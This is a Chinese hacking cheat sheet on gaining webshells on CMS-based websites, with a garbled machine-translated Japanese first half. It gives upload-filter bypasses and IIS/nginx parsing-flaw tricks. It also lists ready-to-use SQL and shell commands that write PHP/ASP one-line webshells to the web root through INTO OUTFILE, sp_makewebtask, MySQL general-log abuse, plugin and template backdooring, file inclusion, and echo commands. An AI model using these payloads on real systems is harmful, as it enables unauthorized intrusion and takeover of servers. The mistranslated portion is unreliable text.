アウトライン
殻を取るためには、管理者権限
殻を取るために一般的な許可
一般的なCMSは、シェルを取得します
背景にスタイル、Webフロントの主な内容であり、その操作を行うには、権限を変更するためのスクリプトの内容はウェブシェル権に(特定の状況を除く)こと。
殻を取るためには、管理者権限
あなたは、シェルを取得するには、管理者権限を持っている必要があります
通常はバックグラウンド関連の操作でログインする必要があります
シェルを得るために直接アップロード
操作をバイパスする必要性を作るの制限の多くは、国内のアップロードの種類、
例:(ターンの後)夢の舞台裏を見て追求
グーグルのINTEXT:DedeCMSV57_UTD8_SP2によってパワード
DEDECMSのV5.7
取り戻すために夢を追求し、基本的にシェルを得ました
スタイルファイルマネージャは - >スクリプトは、ウェブサイトの内容を変更することができます、また、スクリプトをアップロードすることができます
ファイルのパーミッションに問題が発生した場合は、親ディレクトリに変わり../という名前のファイルを変更することができます
データベースのバックアップシェルを取ります
その後、ファイル拡張子フィルタリングをアップロードするには、サイト、などASP、PHP、JSP、ASPX、などスクリプトファイルの種類を、アップロードすることができ、2つのサイトがデータベースのバックアップ機能を持っている、そして我々は、アップロードできる形式を読み取るためにフォーマットをウェブシェルができ、 、データベースのバックアップ、ファイルのバックアップスクリプト形式を通じてアップロード後のファイルのパスを見つけます。
例:企業のウェブサイト管理システムと南涼堪能V7.0データ
時には管理システムは、ボタンを削除しますが、機能はまだある、と(スクリプトファイル名、データベースのバックアップ:Manage_backup.asp)は、ウェブサイト、データベースのバックアップのアドレスに接続された他のアドレスを確認することができます。サイトのバージョンを去勢、南ecshop、ワードプレス、dedecms、aspcms、梁ジン、帝国、phpv9、支店では一般的です。ローカルサイトでは、完全なソースコードをダウンロードし、目標スプライス部位を変更しようとするために、自分自身を構築することができます。
画期的なテイクシェルのアップロード
ローカルjsが検証をアップロード
アップロードサーバーのMIME
アップロードサーバーのホワイトリスト
アップロードサーバのブラックリスト
アップロードサーバのファイルパス
ダブルファイルのアップロード
00パーセントカットのアップロード
別のシェルスクリプトタイプテイクをアップロード
シェルアップロードの種類を取るために編集サイトの構成
一部のサイトではあなたがそのようなシェルを取得するなど、PHP、JSP、ASP、として、アップロードファイルの種類を追加することができ、ウェブサイトでタイプをアップロードするファイルアップロードスクリプトの種類を制限します
シェルを取得するための分析抜け穴を使用しました
1、IIS 5.xでは/ 6.0の解析の脆弱性ディレクトリの解析、セミコロン解析し、不正な形式のファイルの名前解決
脆弱性を解析2、7.0 / 7.5 IIS、nginxの<8.03不正なファイル名、脆弱性を解析PHPファイル
3、nginxの<8.03 NULLバイトでコードが実行される脆弱性
4、Apacheの解析の脆弱性
エディタは、シェルを取得するために抜け穴を使用します
一般的なエディタはFCKeditorの、ewebeditor、cheditorを持っています
サイト構成プラグ馬は、シェルを取得します
ウェブサイトによると、あなたのウェブサイトへのサイトのデフォルトの設定、構成ワードを見つけることによって、あなたは事前にダウンロードWebサイトのソースコードすることができ、および挿入馬を防ぐためにフィルタリングルールを確認してください(「%> <%evalの要求(」ABC「)%> <%「)が失敗しましたソースは試合を象徴しました。
テンプレートを編集してシェルを取ります
1、テンプレートサイトを編集することで、単語を書き、次に取るためにシェル・スクリプト・ファイルを生成します
図2は、Webサーバにアップロードし、サイトテンプレートに名前を入力し、圧縮ファイルにトロイの木馬を追加することによって、シェルを取ります
例:ecshop
テンプレート管理 - 図書館プロジェクトマネジメント - 配達
PHPスクリプト記述された検証:<PHPのするphpinfo();?>
アクセス/myship.phpは、あなたが単語、チョッパー接続を書くことができ、実行するphpinfoを発見しました。注:たまに成功しないだろう、後ろとき、もう一度試して削除することができます「>?。」
数据库管理——SQL查询——输入”use mysql”让报错,爆出路径——select “<?php phpinfo();?>” into outfile ‘地址\\x.php’
注意:Windows中,斜杠要用两个反斜杠,Linux路径用单个斜杠
数据库管理——数据库备份——自定义备份(配合IIS6.0解析漏洞)创建用户(用户里面写入一句话)——放在ecs_users表中——备份——文件名为u.asp;.sql
上传插件拿shell
一些网站为了增加某些功能会在后台添加一些插件来实现,我们可以把木马添加到安装的插件中上传服务器拿shell,常见的有博客类网站dz论坛等
示例:WordPress-V4.2.2
搭建时要先创建数据库
phpstudy——mysql——create database wpp;
插件——已安装的插件——安装插件——下载一个正常的插件,将木马放在里面,一起上传,安装——找上传目录
数据库执行拿shell
可通过数据库执行命令导出一句话到网站根目录拿shell,access数据库导出一般需要利用解析漏洞xx.asp;.xml
sqlserver导出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(“cmd”))%>%27%27%27
mysql命令导出shell
create TABLE study (cmd text Not NULL);
insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);
select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;
drop TABLE IF EXISTS study;
或
use mysql;
create table x (packet text) type=MYISaM;
insert into x (packet) values(‘<pre><body><?php @system($_GET[“cmd”]);?></body></pre>’)
select x into outfile ‘d:\php\xx.php’
或
select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’
1.进入phpmyadmin
2.知道网站路径
3.直接执行SQL语句导入shell
注:有时可能出现不允许直接导shell
解决方法:首页——变量——general lag 编辑——ON——general log file 编辑 D:\phpstudy\www\ba.php——SQL——一句话用引号引起来——执行——报错——生成日志,利用日志记录生成shell
4.不知道路径时——推理路径
首页——变量——mysql的集成环境路径——apache的路径也知道了——D:\phpstudy\Apache\conf\httpd.conf——找个数据库——创建表:
create table a(a text);
开外链
load data infile “D:/phpstudy/Apache/conf/httpd.conf” into table a;
导出SQL搜索documentroot
路径推理
D:/phpstudy/Apache/conf/httpd.conf 配置文件的路径,找网站根目录
Apache
/usr/local/mysql
/usr/local/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
ngnix
/usr/local/nginx/conf/nginx.conf
phpmyadmin一般在网站根目录下
当找不到配置文件时,可以读大文件,由于文件太大会报错,有可能会报出phpmyadmin的路径。
文件包含拿shell 多用于上传大马
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿shell
asp包含
1.<!--#include file=”123.jpg”-->
2.调用的文件必须和被调用的文件在同一目录,否则找不到
3.如果找不到,用下面的语句
<--#include virtual=”文件所在目录/123.jpg”-->
php包含
<?php include(“123.jpg”)?>
命令执行拿shell
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php
^<^%eval request(“abc”)%^>^ >c:\1.php
普通用户前台拿shell
0day拿shell
IIS写权限拿shell
命令执行拿shell
通过注入漏洞拿shell
前台用户头像上传拿shell
strusts2拿shell
java反序列拿shell